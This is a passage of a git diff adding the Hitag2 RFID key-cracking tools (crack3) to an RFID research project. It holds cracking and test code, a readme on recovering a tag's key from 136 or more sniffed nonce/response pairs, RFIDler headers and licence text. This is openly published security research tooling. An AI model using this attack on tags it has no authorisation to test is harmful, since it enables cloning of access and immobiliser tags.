fp) > 0) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", numnrar + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", numnrar + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + TnRaR[numnrar].nR = rev32(hexreversetoulong(buf+2)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1+2)); + } else { + TnRaR[numnrar].nR = rev32(hexreversetoulong(buf)); + TnRaR[numnrar].aR = rev32(hexreversetoulong(buft1)); + } + numnrar++; + } + + // close file + fclose(fp); + fp = NULL; + + printf("Loaded %d NrAr pairs\n", numnrar); + + // create table of thread data + tdata = (struct threaddata *)malloc(sizeof(struct threaddata) * NUM_THREADS); + if (!tdata) { + printf("cannot malloc threaddata\n"); + exit(1); + } + + for (i=0; i +#include + + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + FILE *fp; + char *line = NULL; + size_t linelen = 0; + long len = 0; + char *nr = NULL; + char *ar = NULL; + uint32_t arval; + uint32_t ks; + char *key; + char *uid; + + if (argc < 4) { + printf("ht2test nRaRfile KEY UID\n"); + exit(1); + } + + fp = fopen(argv[1], "r"); + if (!fp) { + printf("cannot open file\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + key = argv[2] + 2; + } else { + key = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + uid = argv[3] + 2; + } else { + uid = argv[3]; + } + + while ((len = getline(&line, &linelen, fp)) > 0) { + if (len > 16) { + ar = strchr(line, ' '); + *ar = 0x00; + ar++; + ar[strlen(ar)-1] = 0x00; + if (!strncmp(line, "0x", 2)) { + nr = line + 2; + } else { + nr = line; + } + hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr))); + + arval = strtol(ar, NULL, 16); + ks = hitag2_nstep(&hstate, 32); + + + if ((arval ^ ks) != 0xffffffff) { + printf("FAIL! nR = %s, aR = %s\n", line, ar); + } else { + printf("SUCCESS! nR = %s, aR = %s\n", line, ar); + } + } + } + + fclose(fp); + + return 0; +} + diff --git a/tools/hitag2crack/crack3/readme.md b/tools/hitag2crack/crack3/readme.md new file mode 100644 index 000000000..4d35ad7e0 --- /dev/null +++ b/tools/hitag2crack/crack3/readme.md @@ -0,0 +1,35 @@ +ht2crack3 + + + +Build +----- + +make clean +make + + +Run +--- + +You'll need a file consisting of 136 (or more) nR aR pairs. These are the +encrypted nonces and challenge response values. They should be in hex with +one pair per line, e.g.: +0x12345678 0x9abcdef0 + +./ht2crack3 UID NRARFILE + +UID is the UID of the tag that you used to gather the nR aR values. +NRARFILE is the file containing the nR aR values. + + +Tests +----- + +If you happen to know the key and want to check that all your nR aR values +are valid (for high-powered demonstrations only, really) then you can use +the ht2test program to check them. It's otherwise massively pointless and a +complete waste of space. + +./ht2test NRARFILE KEY UID + diff --git a/tools/hitag2crack/crack3/rfidler.h b/tools/hitag2crack/crack3/rfidler.h new file mode 100644 index 000000000..c8ce90396 --- /dev/null +++ b/tools/hitag2crack/crack3/rfidler.h @@ -0,0 +1,412 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +#include +#include + +// BCD hardware revision for usb descriptor (usb_descriptors.c) +#define RFIDLER_HW_VERSION 0x020 + +// max sizes in BITS +#define MAXBLOCKSIZE 512 +#define MAXTAGSIZE 4096 +#define MAXUID 512 + +#define TMP_LARGE_BUFF_LEN 2048 +#define TMP_SMALL_BUFF_LEN 256 +#define ANALOGUE_BUFF_LEN 8192 + +#define COMMS_BUFFER_SIZE 128 + +#define DETECT_BUFFER_SIZE 512 + +#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period + +// globals + +extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read +extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data +extern BYTE EMU_ThisBit; // The next data bit to transmit +extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0' +extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1' +extern unsigned int EMU_Repeat; // Number of times to transmit full data set +extern BOOL EMU_Background; // Emulate in the background until told to stop +extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit +extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad +extern BYTE ReaderPeriod; // Flag for sample display +extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer +extern BYTE Interface; // user interface - CLI or API +extern BYTE CommsChannel; // user comms channel - USB or UART +extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read +extern BOOL PWD_Mode; // is this tag password protected? +extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN +extern unsigned int Led_Count; // LED status counter, also used for entropy +extern unsigned long Reader_Bit_Count; // Reader ISR bit counter +extern char Previous; // Reader ISR previous bit type + +// RWD (read/write device) coil state +extern BYTE RWD_State; // current state of RWD coil +extern unsigned int RWD_Fc; // field clock in uS +extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks +extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks +extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks +extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks +extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks +extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks +extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks +extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks +extern unsigned int RWD_OC5_config; // Output Compare Module settings +extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value +extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value +extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated +extern BYTE *RWD_Command_ThisBit; // Current command bit +extern BOOL Reader_ISR_State; // current state of reader ISR + +// NVM variables +// timings etc. that want to survive a reboot should go here +typedef struct { + BYTE Name[7]; // will be set to "RFIDler" so we can test for new device + BYTE AutoRun[128]; // optional command to run at startup + unsigned char TagType; + unsigned int PSK_Quality; + unsigned int Timeout; + unsigned int Wiegand_Pulse; + unsigned int Wiegand_Gap; + BOOL Wiegand_IdleState; + unsigned int FrameClock; + unsigned char Modulation; + unsigned int DataRate; + unsigned int DataRateSub0; + unsigned int DataRateSub1; + unsigned int DataBits; + unsigned int DataBlocks; + unsigned int BlockSize; + unsigned char SyncBits; + BYTE Sync[4]; + BOOL BiPhase; + BOOL Invert; + BOOL Manchester; + BOOL HalfDuplex; + unsigned int Repeat; + unsigned int PotLow; + unsigned int PotHigh; + unsigned int RWD_Gap_Period; + unsigned int RWD_Zero_Period; + unsigned int RWD_One_Period; + unsigned int RWD_Sleep_Period; + unsigned int RWD_Wake_Period; + unsigned int RWD_Wait_Switch_TX_RX; + unsigned int RWD_Wait_Switch_RX_TX; +} StoredConfig; + +// somewhere to store TAG data. this will be interpreted according to the TAG +// type. +typedef struct { + BYTE TagType; // raw tag type + BYTE EmulatedTagType; // tag type this tag is configured to emulate + BYTE UID[MAXUID + 1]; // Null-terminated HEX string + BYTE Data[MAXTAGSIZE]; // raw data + unsigned char DataBlocks; // number of blocks in Data field + unsigned int BlockSize; // blocksize in bits +} VirtualTag; + +extern StoredConfig RFIDlerConfig; +extern VirtualTag RFIDlerVTag; +extern BYTE TmpBuff[NVM_PAGE_SIZE]; +extern BYTE DataBuff[ANALOGUE_BUFF_LEN]; +extern unsigned int DataBuffCount; +extern const BYTE *ModulationSchemes[]; +extern const BYTE *OnOff[]; +extern const BYTE *HighLow[]; +extern const BYTE *TagTypes[]; + +// globals for ISRs +extern BYTE EmulationMode; +extern unsigned long HW_Bits; +extern BYTE HW_Skip_Bits; +extern unsigned int PSK_Min_Pulse; +extern BOOL PSK_Read_Error; +extern BOOL Manchester_Error; +extern BOOL SnifferMode; +extern unsigned int Clock_Tick_Counter; +extern BOOL Clock_Tick_Counter_Reset; + +// smart card lib +#define MAX_ATR_LEN (BYTE)33 +extern BYTE scCardATR[MAX_ATR_LEN]; +extern BYTE scATRLength; + +// RTC +extern rtccTime RTC_time; // time structure +extern rtccDate RTC_date; // date structure + +// digital pots +#define POTLOW_DEFAULT 100 +#define POTHIGH_DEFAULT 150 +#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB) +#define VOLTS_TO_POT 0.019607843F + +// RWD/clock states +#define RWD_STATE_INACTIVE 0 // RWD not in use +#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request +#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period +#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset +#define RWD_STATE_START_SEND 4 // RWD starting send of data +#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap +#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit +#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period +#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier + +// reader ISR states +#define READER_STOPPED 0 // reader not in use +#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading +#define READER_RUNNING 2 // reader reading bits + + +// user interface types +#define INTERFACE_API 0 +#define INTERFACE_CLI 1 + +// comms channel +#define COMMS_NONE 0 +#define COMMS_USB 1 +#define COMMS_UART 2 + +#define MAX_HISTORY 2 // disable most of history for now - memory issue + +// tag write retries +#define TAG_WRITE_RETRY 5 + +// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this +#define MOD_MODE_NONE 0 +#define MOD_MODE_ASK_OOK 1 +#define MOD_MODE_FSK1 2 +#define MOD_MODE_FSK2 3 +#define MOD_MODE_PSK1 4 +#define MOD_MODE_PSK2 5 +#define MOD_MODE_PSK3 6 + +// TAG types - update TagTypes[] in tags.c if you add to this list +#define TAG_TYPE_NONE 0 +#define TAG_TYPE_ASK_RAW 1 +#define TAG_TYPE_FSK1_RAW 2 +#define TAG_TYPE_FSK2_RAW 3 +#define TAG_TYPE_PSK1_RAW 4 +#define TAG_TYPE_PSK2_RAW 5 +#define TAG_TYPE_PSK3_RAW 6 +#define TAG_TYPE_HITAG1 7 +#define TAG_TYPE_HITAG2 8 +#define TAG_TYPE_EM4X02 9 +#define TAG_TYPE_Q5 10 +#define TAG_TYPE_HID_26 11 +#define TAG_TYPE_INDALA_64 12 +#define TAG_TYPE_INDALA_224 13 +#define TAG_TYPE_UNIQUE 14 +#define TAG_TYPE_FDXB 15 +#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat +#define TAG_TYPE_AWID_26 17 +#define TAG_TYPE_EM4X05 18 +#define TAG_TYPE_TAMAGOTCHI 19 +#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram + +// various + +#define BINARY 0 +#define HEX 1 + +#define NO_ADDRESS -1 + +#define ACK TRUE +#define NO_ACK FALSE + +#define BLOCK TRUE +#define NO_BLOCK FALSE + +#define DATA TRUE +#define NO_DATA FALSE + +#define DEBUG_PIN_ON HIGH +#define DEBUG_PIN_OFF LOW + +#define FAST FALSE +#define SLOW TRUE + +#define NO_TRIGGER 0 + +#define LOCK TRUE +#define NO_LOCK FALSE + +#define NFC_MODE TRUE +#define NO_NFC_MODE FALSE + +#define ONESHOT_READ TRUE +#define NO_ONESHOT_READ FALSE + +#define RESET TRUE +#define NO_RESET FALSE + +#define SHUTDOWN_CLOCK TRUE +#define NO_SHUTDOWN_CLOCK FALSE + +#define SYNC TRUE +#define NO_SYNC FALSE + +#define VERIFY TRUE +#define NO_VERIFY FALSE + +#define VOLATILE FALSE +#define NON_VOLATILE TRUE + +#define NEWLINE TRUE +#define NO_NEWLINE FALSE + +#define WAIT TRUE +#define NO_WAIT FALSE + +#define WIPER_HIGH 0 +#define WIPER_LOW 1 + +// conversion for time to ticks +#define US_TO_TICKS 1000000L +#define US_OVER_10_TO_TICKS 10000000L +#define US_OVER_100_TO_TICKS 100000000L +// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it +#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS)) +#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS)) +#define TIMER5_PRESCALER 16 +#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER) + +// other conversions + +// bits to hex digits +#define HEXDIGITS(x) (x / 4) +#define HEXTOBITS(x) (x * 4) diff --git a/tools/hitag2crack/crack3/util.h b/tools/hitag2crack/crack3/util.h new file mode 100644 index 000000000..c2399c37c --- /dev/null +++ b/tools/hitag2crack/crack3/util.h @@ -0,0 +1,147 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + +/* + * Hitag Crypto support macros + * These macros reverse the bit order in a byte, or *within* each byte of a + * 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.) + */ +#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \ + + (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \ + + (((X) << 5) &64) + (((X) << 7) &128) ) +#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8)) +#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16)) +#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32)) + + +unsigned long hexreversetoulong(BYTE *hex); +unsigned long long hexreversetoulonglong(BYTE *hex); + diff --git a/tools/hitag2crack/crack3/utilpart.c b/tools/hitag2crack/crack3/utilpart.c new file mode 100644 index 000000000..210853ec1 --- /dev/null +++ b/tools/hitag2crack/crack3/utilpart.c @@ -0,0 +1,183 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack4/.gitignore b/tools/hitag2crack/crack4/.gitignore new file mode 100644 index 000000000..f7ca5917b --- /dev/null +++ b/tools/hitag2crack/crack4/.gitignore @@ -0,0 +1,3 @@ +ht2crack4 + +ht2crack4.exe diff --git a/tools/hitag2crack/crack4/HardwareProfile.h b/tools/hitag2crack/crack4/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack4/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went 